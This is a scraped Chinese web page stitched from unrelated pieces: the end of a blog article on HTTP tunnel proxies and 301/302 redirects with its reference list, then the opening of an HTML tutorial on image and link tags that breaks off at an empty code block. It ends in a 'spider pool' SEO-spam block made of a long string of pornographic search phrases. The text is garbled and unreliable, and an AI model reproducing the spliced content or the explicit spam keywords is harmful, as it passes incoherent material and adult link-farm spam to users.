          為了解決這個問題,于是引入了隧道代理,隧道代理不在作為中間人,也不會改寫瀏覽器的任何請求,而是把瀏覽器的通信數(shù)據(jù)原樣透傳,這樣就實現(xiàn)了讓客戶端通過中間代理,和服務器進行TLS握手,然后進行加密傳輸。

          其工作流程大致如下:

          4.7、HTTP重定向

          這里我們重點關注兩個:

          • 301 永久重定向
          • 302 臨時重定向

          在收到重定向的狀態(tài)碼之后,客戶端會檢測響應頭里面的Location字段,從里面取出URI,從而自動發(fā)起新的HTTP請求。

          最常見的使用重定向的例子:

          • 由于網(wǎng)頁遷移,為了不影響SEO,把舊的網(wǎng)址的URL 301重定向到新版的網(wǎng)址;
          • 由于服務臨時升級,把原來服務請求302重定向到一個升級提示頁面,但這樣會導致服務端多了一倍的請求量,有時候我們是直接在服務端反悔了升級提示的頁面。

          這篇文章的內容就介紹到這里,能夠閱讀到這里的朋友真的是很有耐心,為你點個贊。

          本文為arthinking基于相關技術資料和官方文檔撰寫而成,確保內容的準確性,如果你發(fā)現(xiàn)了有何錯漏之處,煩請高抬貴手幫忙指正,萬分感激。

          如果您覺得讀完本文有所收獲的話,可以關注我的賬號,或者點贊吧,碼字不易,您的支持就是我寫作的最大動力,再次感謝!

          為了把相關系列文章收集起來,方便后續(xù)查閱,這里我創(chuàng)建了一個Github倉庫,把發(fā)布的文章按照分類收集起來了,感興趣的朋友可以Star跟進:

          https://github.com/arthinking/java-tech-stack

          關注我的博客IT宅(itzhai.com)或者公眾號Java架構雜談,及時獲取最新的文章。我將持續(xù)更新后端相關技術,涉及JVM、Java基礎、架構設計、網(wǎng)絡編程、數(shù)據(jù)結構、數(shù)據(jù)庫、算法、并發(fā)編程、分布式系統(tǒng)等相關內容。

          References

          [^1]: Hypertext Transfer Protocol -- HTTP/1.0 RFC 1945. Retrieved from https://datatracker.ietf.org/doc/rfc1945/

          [^2]: HypertextTransferProtocol--HTTP/1.1 2068. Retrieved from https://tools.ietf.org/html/rfc2068

          [^3]: Hypertext Transfer Protocol -- HTTP/1.1 2616. Retrieved from https://tools.ietf.org/html/rfc2616

          [^4]: Hypertext Transfer Protocol Version 3 (HTTP/3). Retrieved from https://quicwg.org/base-drafts/draft-ietf-quic-http.html

          [^5]: CONNECT. Retrieved from https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Methods/CONNECT

          [^6]: HTTP Headers. Retrieved from https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers

          [^7]: HTTP. MDN web docs. Retrieved from https://developer.mozilla.org/zh-CN/docs/Web/HTTP

          [^8]: List of HTTP status codes. Retrieved from https://en.wikipedia.org/wiki/List_of_HTTP_status_codes

          [^9]: https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status. Retrieved from https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status

          [^10]: 兩萬字長文50+張趣圖帶你領悟網(wǎng)絡編程的內功心法-TCP特點. Retrieved from https://www.itzhai.com/network/comprehend-the-underlying-principles-of-network-programming.html#4-2-2%E3%80%81TCP%E7%89%B9%E7%82%B9

          [^11]: 技術干貨:HTTP/2 之服務器推送 (Server Push) 最佳實踐. Retrieved from https://www.infoq.cn/article/qYdN85t4G4dL4vBAe3N2

          [^12]: 《HTTP權威指南》第17章 內容協(xié)商與轉碼. 人民郵電出版社. P413

          [^13]: 兩萬字長文50+張趣圖帶你領悟網(wǎng)絡編程的內功心法-TCP連接管理. Retrieved from https://www.itzhai.com/network/comprehend-the-underlying-principles-of-network-programming.html#4-2-3、連接管理

          [^14]: 《HTTP權威指南》 第六章 代理

          [^15]: 《HTTP權威指南》 第八章 集成點:網(wǎng)關、隧道及中繼

          [^16]: Module ngx_http_upstream_module. Retrieved from http://nginx.org/en/docs/http/ngx_http_upstream_module.html#keepalive

          [^17]: 161 Cipher Suites. Retrieved from https://ciphersuite.info/cs/?software=openssl&singlepage=true

          [^18]: HTTP/2 簡介. Retrieved from https://developers.google.com/web/fundamentals/performance/http2

          • 謝希仁. 計算機網(wǎng)絡(第6版). 電子工業(yè)出版社.
          • TCP/IP詳解 卷1:協(xié)議(原書第2版). 機械工業(yè)出版社.
          • UNIX網(wǎng)絡編程 卷1:套接字聯(lián)網(wǎng)API. 人民郵電出版社
          • HTTP權威指南. 人民郵電出版社
          • HTTP/2基礎教程. 人民郵電出版社
          • 劉超. 趣談網(wǎng)絡協(xié)議. 極客時間
          • 羅劍鋒. 透視HTTP協(xié)議. 即可時間

          本文同步發(fā)表于我的博客IT宅(itzhai.com)和公眾號(Java架構雜談)

          作者:arthinking | 公眾號:Java架構雜談

          博客鏈接:https://www.itzhai.com/articles/secrets-of-http-common-request-headers.html

          版權聲明: 版權歸作者所有,未經(jīng)許可不得轉載,侵權必究!聯(lián)系作者請加公眾號。

          面我們介紹了HTML的基本標簽,這一次我們來復習一下HTML常用標簽

          *****圖像標簽img*****

          **語義**:用來展示一張圖片

          **屬性**

          src:文件的路徑

          titl:鼠標懸停時顯示的內容

          alt:當圖片加載不出來時的替代文本

          ***路徑***

          路徑又分為相對路徑和絕對路徑

          相對路徑:不需要寫盤符,直接從當前工程開始找指定的文件,如(image/itlike.png)

          絕對路徑:需要寫盤符,從指定盤符路徑加載文件,如(d:/HtmlProject/image/itlike.png)

          ./:表示當前路徑

          ../:相對路徑表示上一級

          ***超鏈接a標簽***

          語義

          a標簽定義超鏈接,用于從一張頁面鏈接到另一張頁面。

          a 元素最重要的屬性是 href 屬性,它指示鏈接的目標。

          格式

          ```


          主站蜘蛛池模板: 亚洲av乱码一区二区三区按摩 | 精品在线一区二区三区| 好吊视频一区二区三区| 日韩亚洲一区二区三区| 蜜桃传媒一区二区亚洲AV| 无码精品人妻一区二区三区免费| 亚洲色无码一区二区三区| 午夜视频一区二区| 麻豆精品久久久一区二区| 春暖花开亚洲性无区一区二区| 91一区二区三区| 国产在线不卡一区| 老熟女五十路乱子交尾中出一区| 无码人妻精一区二区三区| 亲子乱AV视频一区二区| 欧亚精品一区三区免费| 蜜臀AV一区二区| 无码AV中文一区二区三区| 国产在线精品一区二区夜色| 国产精品一区二区不卡| 国产午夜精品一区二区三区 | 冲田杏梨AV一区二区三区| 骚片AV蜜桃精品一区| 精品成人av一区二区三区| 国模极品一区二区三区| 少妇一晚三次一区二区三区| 老熟妇仑乱一区二区视頻| 高清一区二区三区免费视频| 国产精品成人一区二区| 久久成人国产精品一区二区 | 亚洲视频在线一区二区| 国产主播在线一区| 中文字幕一区二区三区5566| 久久久久人妻精品一区二区三区 | 成人区人妻精品一区二区不卡网站| 精品无人乱码一区二区三区 | 国产成人精品视频一区| 精品一区二区三区水蜜桃| 人妻无码一区二区视频| 无码日韩精品一区二区人妻 | 69福利视频一区二区|